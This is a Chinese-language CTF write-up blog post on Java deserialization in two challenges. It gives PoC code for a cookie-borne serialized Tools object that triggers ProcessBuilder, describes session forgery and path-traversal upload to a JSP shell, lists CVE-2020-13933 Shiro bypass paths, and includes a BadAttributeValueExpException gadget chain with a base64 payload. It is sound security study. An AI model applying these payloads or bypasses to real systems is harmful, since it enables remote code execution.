从CTF题学Java反序列化(二)

springmvcdemo

先过了一遍源码,看了一下功能

showpic.form?file=有类似于文件包含的功能

uploadpic.form可以上传文件,但是需要session中group为webmanager

Tools.class有序列化与反序列化功能,其中Tools自己这个类可被序列化,并且实现了readObject方法还有个危险函数ProcessBuilder((String[])obj)).start()

题目正常功能是对ClientInfo类存取session内容进行序列化反序列化,但是这个cinfo内容根据代码逻辑来看实际上是用户可控的

然后看到Tools类和ClientInfo类的serialVersionUID相同,为反序列化Tools类创造了条件

预期解

通过ClientInfoFilter类中调用Tools.parse对传入cookie内容直接进行反序列化的漏洞,加上Tools类中有ProcessBuilder((String[])obj)).start()函数可以执行命令,以及serialVersionUID相同,我们可以直接构造序列化Tools类,然后修改cookie,触发反序列化漏洞达成命令执行

注意ProcessBuilder传入的是String[],我们可以直接本地构造Tools类,注意testCall[]的public属性,或者直接在类中初始化命令也可:

public class Tools implements Serializable {
    private static final long serialVersionUID = 1L;
    
    public static Object parse(byte[] bytes) throws Exception {
        ......
    }
    public String testCall[];
    public static byte[] create(Object obj) throws Exception {
        ......
    }
    
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        ......
    }
    //public String testCall[] = {"bash","-c","open /System/Applications/Calculator.app"};
}

然后Poc:

import com.tools.Tools;
import java.util.Base64;

public class Poc {
    public static void main(String[] args) throws Exception {
        Tools evil = new Tools();
        String cmd[] = {"bash","-c","open /System/Applications/Calculator.app"};
        evil.testCall = cmd; // 这里我们前面修改了public属性所以可以直接改
        byte[] bytes = Tools.create(evil);
        Base64.Encoder encoder = Base64.getEncoder();
        System.out.println(encoder.encodeToString(bytes));
    }
}

然后得到base64后的序列化值修改cookie后触发弹计算器:

非预期

上传需要group为webmanager,但是我们可以伪造session:

然后就可以正常上传文件了,文件上传没有检测,上传目录是WEB-INF/resource/,但是文件包含showpic.form?file=当文件后缀为jsp时,工作目录是WEB-INF/且无法路径穿越,所以尝试上传时路径穿越:

然后利用文件包含执行拿shell

javaweb

运行起来是个登录页面,所以首先看到LoginController.classLoginController,发现使用shiro的AuthenticationToken来认证用户名密码,百度了解了一下:

继续看到在MyRealm.class重写了doGetAuthenticationInfo,判断用户名为admin,密码随机生成

  • IndexController.class对cookie进行了序列化反序列化操作
  • MyFilter.classAllFilter.classIAllFilter.class对url进行解析

但是这里出现了一个问题,shiro-1.5.3版本存在CVE-2020-13933权限绕过,具体原理主要是shiro层在处理url上和spring上存在差异,主要是在处理;上的问题,通过构造含有;符号的url即可绕过shiro在权限上的处理

这道题对url的处理基本与CVE-2020-13933一致,所以可以使用以下path绕过

/index/%3b/admin
/index/'/admin
/index/select/admin
/index/union/admin

看到展示了访问日志,并没有其他功能,继续审计源码

Tools类的exeCmd实现了命令执行:

LogHandler类的invoke方法和toString方法分别都调用了exeCmd实现了写日志和读日志功能

现在命令执行的点和反序列化的点都找到了,剩下就是需要找到一条将其连起来的利用链

在之前在cc链中注意到一个能触发toString的类BadAttributeValueExpException,它重写的readObject函数会自动调用类属性的toString方法

这个BadAttributeValueExpException是原生类,jdk8下可以使用,不需要考虑环境问题

需要注意这里System.getSecurityManager为空,就是当前的jvm环境不能启用安全管理器

利用链:

BadAttributeValueExpException.readObject()
        -> valObj.toString() -> LogHandler.toString()
        -> Tools.exeCmd()

模仿cc5中BadAttributeValueExpException的用法,完成调用链

构造poc:

//Poc.java
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.ctf.javaweb.tools.LogHandler;
import com.ctf.javaweb.tools.Tools;

public class Poc {
    public static void main(String[] args) throws Exception{
    LogHandler logHandler = new LogHandler();
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
    field.setAccessible(true);
    field.set(badAttributeValueExpException, logHandler);
    String datas = Tools.base64Encode(Tools.serialize(badAttributeValueExpException));
    System.out.println(datas);
    }
}
//com/ctf/javaweb/tools/LogHandler.java
package com.ctf.javaweb.tools;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashSet;

public class LogHandler extends HashSet implements InvocationHandler {
    private static final long serialVersionUID = 1L;
    private Object target;
    private String readLog = "open /System/Applications/Calculator.app";
    private String writeLog = "echo /test >> /tmp/accessLog";
    
    public LogHandler() {}
    
    public LogHandler(Object target) {
        this.target = target;
    }
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
        return method.invoke(this.target, args);
    }
    
    public String toString() {
        return Tools.exeCmd(this.readLog);
    }
}
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAACXQAA2FwcHQAA1BvY3QACFBvYy5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyACBjb20uY3RmLmphdmF3ZWIudG9vbHMuTG9nSGFuZGxlcgAAAAAAAAABAgADTAAHcmVhZExvZ3EAfgAFTAAGdGFyZ2V0cQB+AAFMAAh3cml0ZUxvZ3EAfgAFeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAAAeHQAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHBwdAAcZWNobyAvdGVzdCA+PiAvdG1wL2FjY2Vzc0xvZw==

修改cookie的userinfo字段,刷新页面

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值